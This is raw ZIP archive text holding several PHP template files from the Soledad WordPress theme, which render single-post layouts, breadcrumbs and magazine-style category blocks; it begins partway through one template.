                                                                        <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
                                                                    <?php endif; ?>
                                                                    <?php if ( isset( $custom_meta_key ) ) {
                                                                        echo penci_show_custom_meta_fields( $custom_meta_key );
                                                                    } ?>
                                                                    <?php do_action( 'penci_extra_meta' ); ?>
                                                                </div>
															
															<?php if ( $excerpt ) : ?>
                                                                <div class="pcbg-pexcerpt">
																	<?php penci_the_excerpt( $excerpt_length ); ?>
                                                                </div>
															<?php endif; ?>
                                                        </div>
														<?php if ( $readmore ) : ?>
                                                            <div class="pcbg-readmore-sec item-hover">
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></span>
																	<?php if ( $readmore_icon ): ?>
																		<?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
																	<?php endif; ?>
                                                                </a>
                                                            </div>
														<?php endif; ?>

                                                        <?php if ( 'yes' != $grid_share_box ) : ?>
                                                            <div class="penci-post-box-meta penci-post-box-timeline">
                                                                <div class="penci-post-share-box">
                                                                    <?php echo penci_getPostLikeLink( get_the_ID() ); ?>
                                                                    <?php penci_soledad_social_share(); ?>
                                                                </div>
                                                            </div>
                                                        <?php endif; ?>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

        </div>
    </div>
</div>
<?php

if ( ( $n % 2 === 1 && ( 'center' == $align ) && ! $center_side ) || 'left' == $center_side ) : ?>
    <div class="penci-tiline-item penci-tiline-item-date-wrap">
        <div class="penci-tiline-date">
			<span>
				<?php penci_soledad_time_link(); ?>
			</span>
        </div>
    </div>
<?php
endif;

if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'grid-style grid-2-style penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $n,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $n ++; ?>
PK     N\Kd  d  "  template-parts/single-style-21.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-21 penci-single-smore container-single-fullwidth hentry penci-header-text-white';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-21 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format      = get_post_format();
$show_post_format = true;
if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
    <div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
		echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
	} ?>>
        <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
			echo ' penci-single-infiblock-end';
		} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
            <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
				<?php
				if ( have_posts() ) :
					while ( have_posts() ) : the_post();
					get_template_part( 'template-parts/single', 'post-format2' );
					endwhile;
				endif;
				?>
            </div>
            <div class="<?php echo $class_container_single; ?>">
                <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                    <div class="theiaStickySidebar">
						<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
							<?php penci_set_post_views( $post->ID ); ?>
							<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
						<?php endwhile; endif; ?>
                    </div>
                </div>
				<?php
				if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
					?>
                    <div data-id="section-sidebar-<?php the_ID(); ?>"
                         data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
                         class="pcfb-single-sections-delayed pc-content-delayed"></div>
					<?php
				} else {
					get_template_part( 'template-parts/single', 'sidebar' );
				}
				?>
            </div>
			<?php do_action( 'penci_action_after_post_content' ); ?>
        </div>
    </div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>PK     N\阠6    $  template-parts/single-breadcrumb.phpnu [        <?php
if ( get_theme_mod( 'penci_disable_breadcrumb' ) ) {
	return;
}
$yoast_breadcrumb = $rm_breadcrumb = '';
$extra_class      = '';
$single_style     = penci_get_single_style();
if ( get_theme_mod( 'penci_move_breadcrumbs' ) && in_array( $single_style, array( 'style-8', 'style-12' ) ) ) {
	$extra_class = ' penci-crumb-inside';
}
if ( function_exists( 'yoast_breadcrumb' ) ) {
	$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-container-inside penci-breadcrumb single-breadcrumb' . $extra_class . '">', '</div>', false );
}

if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
	$rm_breadcrumb = rank_math_get_breadcrumbs( [
		'wrap_before' => '<div class="container penci-container-inside penci-breadcrumb single-breadcrumb' . $extra_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
		'wrap_after'  => '</nav></div>',
	] );
}

if ( $rm_breadcrumb ) {
	echo $rm_breadcrumb;
} elseif ( $yoast_breadcrumb ) {
	echo $yoast_breadcrumb;
} else { ?>
    <div class="container penci-breadcrumb single-breadcrumb<?php echo $extra_class; ?>">
        <span><a class="crumb"
                 href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
		<?php
		if ( get_theme_mod( 'enable_pri_cat_yoast_seo' ) ) {
			$primary_term = penci_get_wpseo_primary_term();

			if ( $primary_term ) {
				echo $primary_term;
			} else {
				$penci_cats = get_the_category( get_the_ID() );
				$penci_cat  = array_shift( $penci_cats );
				echo penci_get_category_parents( $penci_cat );
			}
		} else {
			$penci_cats = get_the_category( get_the_ID() );
			$penci_cat  = array_shift( $penci_cats );
			echo penci_get_category_parents( $penci_cat );
		}
		if ( ! get_theme_mod( 'penci_hide_post_title_breadcrumb' ) ) {
			echo '<span>' . get_the_title() . '</span>';
		}
		?>
    </div>
<?php } ?>
PK     N\Y  Y  !  template-parts/single-style-5.phpnu [        <?php
$sidebar_enable = penci_single_sidebar_return();
$sidebar_position = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-5 penci-single-smore container-single-fullwidth hentry  penci-header-text-white';
if( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-5 penci-single-smore';
if ( $sidebar_enable ){
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine .= ' penci_is_nosidebar';
}

if( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if( ! get_theme_mod( 'penci_disable_lightbox_single' ) ){
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format = get_post_format();
$show_post_format = true;
if( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote','gallery','video' ) )  ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format = false;
}

$postID = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title = get_the_title( $postID );
$infinite_load  = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if( get_theme_mod( 'penci_loadnp_posts' ) ){
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id = $prev_post->ID;
		$prev_post_url = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass = ' penci-single-infiscroll';
		$flag_infi = 'has_data';
	}
}
?>
<div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) echo ' data-infiads="' . htmlentities( $data_infiads ) . '"'; ?>>
	<div class="penci-single-block<?php if( $flag_infi == 'no_data' ){ echo ' penci-single-infiblock-end'; } ?>"<?php if( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url );?>" data-current-url="<?php echo esc_url( $current_permalink );?>" data-post-title="<?php echo esc_attr( $current_title );?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<div class="penci-single-pheader <?php echo ( $single_magazine );?>">
			<?php
			if ( have_posts() ) :
				while ( have_posts() ) : the_post();
					if( ! get_theme_mod( 'penci_move_title_bellow' ) && ! $show_post_format ) {
						echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
						get_template_part( 'template-parts/single', 'breadcrumb' );
						get_template_part( 'template-parts/single', 'entry-header' );
						echo '</div>';
					}else{
						get_template_part( 'template-parts/single', 'post-format2' );
					}
				endwhile;
			endif;
			?>
		</div>
		<div class="<?php echo $class_container_single; ?>">
			<div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
				<div class="theiaStickySidebar">
					<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
						<?php penci_set_post_views( $post->ID ); ?>
						<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
					<?php endwhile; endif; ?>
				</div>
			</div>
			<?php 
			if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
				?>
				<div data-id="section-sidebar-<?php the_ID();?>" data-url="<?php echo esc_url( add_query_arg(['penci_get_delayed_sections' => 'sidebar'],get_permalink()) );?>" class="pcfb-single-sections-delayed pc-content-delayed"></div>
				<?php
			} else {
				get_template_part( 'template-parts/single', 'sidebar' );
			}
			?>
		</div>
		<?php do_action( 'penci_action_after_post_content' ); ?>
	</div>
</div>
<?php if( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ){ ?>
	<div class="penci-ldsingle"><div class="penci-ldspinner"><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div></div></div>
<?php } ?>
<?php get_footer(); ?>
PK     N\u@"    "  template-parts/single-style-12.phpnu [        <?php
$sidebar_enable      = penci_single_sidebar_return();
$sidebar_position    = penci_get_posts_sidebar_class();
$sidebar_small_width = penci_single_smaller_content_enable();

// Check layout magazine
$single_magazine = 'container-single penci-single-style-12 penci-single-smore container-single-fullwidth hentry';
if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ) {
	$single_magazine .= ' container-single-magazine';
}

// Check class main content
$class_container_single = 'container container-single penci-single-style-11 penci-single-smore';
if ( $sidebar_enable ) {
	$class_container_single .= ' penci_sidebar';
	$class_container_single .= ' ' . $sidebar_position;
} else {
	$class_container_single .= ' penci_is_nosidebar';
	$single_magazine        .= ' penci_is_nosidebar';
}

if ( $sidebar_small_width ) {
	$class_container_single .= ' penci-single-smaller-width';
}

if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ) {
	$class_container_single .= ' penci-enable-lightbox';
}

$post_format      = get_post_format();
$show_post_format = true;
if ( get_theme_mod( 'penci_post_thumb' ) && ! in_array( $post_format, array( 'link', 'quote', 'gallery', 'video' ) ) ) {
	$class_container_single .= ' penci-single-pheader-noimg';
	$show_post_format       = false;
}

$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
    <div class="penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
		echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
	} ?>>
        <div class="penci-single-block<?php if ( $flag_infi == 'no_data' ) {
			echo ' penci-single-infiblock-end';
		} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?> data-prev-url="<?php echo esc_url( $prev_post_url ); ?>" data-current-url="<?php echo esc_url( $current_permalink ); ?>" data-post-title="<?php echo esc_attr( $current_title ); ?>" data-edit-post="<?php echo get_edit_post_link( $postID ); ?>" data-postid="<?php echo $postID; ?>"<?php endif; ?>>
            <div class="penci-single-pheader <?php echo( $single_magazine ); ?>">
				<?php
				if ( have_posts() ) :
					while ( have_posts() ) : the_post();
						echo '<div class="container' . ( 'two-sidebar' == $sidebar_position ? ' two-sidebar' : '' ) . '">';
						get_template_part( 'template-parts/single', 'breadcrumb' );
						get_template_part( 'template-parts/single', 'entry-header' );
						echo '</div>';
					endwhile;
				endif;
				?>
            </div>
            <div class="<?php echo $class_container_single; ?>">
                <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
                    <div class="theiaStickySidebar">
						<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
							<?php penci_set_post_views( $post->ID ); ?>
							<?php get_template_part( 'template-parts/single', 'content-main' ); ?>
						<?php endwhile; endif; ?>
                    </div>
                </div>
				<?php
				if ( get_theme_mod( 'penci_single_delayed_sidebar' ) && penci_is_mobile() ) {
					?>
                    <div data-id="section-sidebar-<?php the_ID(); ?>"
                         data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'sidebar' ], get_permalink() ) ); ?>"
                         class="pcfb-single-sections-delayed pc-content-delayed"></div>
					<?php
				} else {
					get_template_part( 'template-parts/single', 'sidebar' );
				}
				?>
            </div>
			<?php do_action( 'penci_action_after_post_content' ); ?>
        </div>
    </div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>PK     N\y/    /  template-parts/magazine-sc/magazine-style-5.phpnu [        <?php
/**
 * Template display for featured category style 5
 *
 * @since 2.0
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>

<div class="magcat-carousel swiper-slide">
    <div class="magcat-thumb hentry">
	    <?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>
        <a href="<?php penci_permalink_fix(); ?>" class="mag-post-thumb<?php echo penci_class_lightbox_enable(); ?>">
			<?php
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID() );
			}
			?>
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                <span class="penci-image-holder penci-lazy"
                      data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumbsize ); ?>"
                      href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			</span>
			<?php } else { ?>
                <span class="penci-image-holder"
                      style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                      href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			</span>
			<?php } ?>

			<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-play' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-music' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-link' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<?php penci_fawesome_icon( 'far fa-image' ); ?>
				<?php endif; ?>
			<?php endif; ?>
        </a>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || 'yes' != $hide_author || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( 'yes' != $hide_author ) : ?>
                        <span class="featc-author author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                        penci_coauthors_posts_links();
	                        else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                        <?php endif; ?></span>
					<?php endif; ?>
					<?php if ( 'yes' != $hide_date ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( 'yes' == $show_commentcount ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php
					if ( 'yes' == $show_viewscount ) {
						echo '<span>';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					}
					?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
	                <?php if ( isset( $custom_meta_key ) ) {
		                echo penci_show_custom_meta_fields( $custom_meta_key );
	                } ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\r    /  template-parts/magazine-sc/magazine-style-6.phpnu [        <?php
/**
 * Template display for featured category style 6
 *
 * @since 1.0
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
$post_id = get_the_ID();
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post';
		if ( ! has_post_thumbnail() ): echo ' full-mag-cat'; endif; endif; ?>">
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(),$size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                <a class="penci-image-holder penci-lazy<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumbsize ); ?>"
                   href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                </a>
			<?php } else { ?>
                <a class="penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                   href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                </a>
			<?php } ?>
			<?php if ( has_post_thumbnail() && 'yes' != $hide_icon_format ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>
        </div>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a
                            href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), ( $m == 1 ? $big_title_length : $_title_length ) ); ?></a>
                </h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php if ( ( isset( $custom_meta_key ) && $custom_meta_key['validator'] ) || ( ( $m == 1 || $show_author_sposts ) && 'yes' != $hide_author ) || 'yes' != $hide_date || 'yes' == $show_viewscount || 'yes' == $show_commentcount || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || $show_author_sposts ) && 'yes' != $hide_author ) : ?>
                            <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                        class="url fn n"
                                        href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>"><?php the_author(); ?></a></span>
						<?php endif; ?>
						<?php if ( 'yes' != $hide_date ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( 'yes' == $show_commentcount ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( 'yes' == $show_viewscount ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
	                    <?php if ( isset( $custom_meta_key ) ) {
		                    echo penci_show_custom_meta_fields( $custom_meta_key );
	                    } ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php if ( $m == 1 && get_the_excerpt() && 'yes' != $hide_excerpt ): ?>
                <div class="mag-excerpt entry-content">
					<?php
					if ( isset( $_excerpt_length ) ) {
						$_excerpt_length = $_excerpt_length ? $_excerpt_length : 25;
						penci_the_excerpt( $_excerpt_length, $post_id );
					} else {
						the_excerpt();
					}
					?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     N\T  T  0  template-parts/magazine-sc/magazine-style-11.phpnu [        <?php
/**
 * Template display for featured category style 11
 *
 * @since 1.0
 */
$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_featimg_size ) {
	$thumbsize = 'penci-thumb-vertical';
} else if ( 'custom' == $penci_featimg_size ) {
	if ( $thumb_size ) {
		$thumbsize = $thumb_size;
	}
}
?>

<div class="mag-photo">
    <div class="magcat-thumb hentry">
		<?php
		do_action( 'penci_bookmark_post', get_the_ID() );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {
			penci_display_piechart_review_html( get_the_ID() );
		}
		?>
        <a href="<?php the_permalink(); ?>" class="mag-overlay-photo"></a>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
            <a class="penci-image-holder penci-lazy<?php echo penci_class_lightbox_enable(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumbsize ); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } else { ?>
            <a class="penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            </a>
		<?php } ?>

        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a
                        href="<?php the_permalink(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
            </h3>
			<?php do_action( 'penci_after_post_title' ); ?>
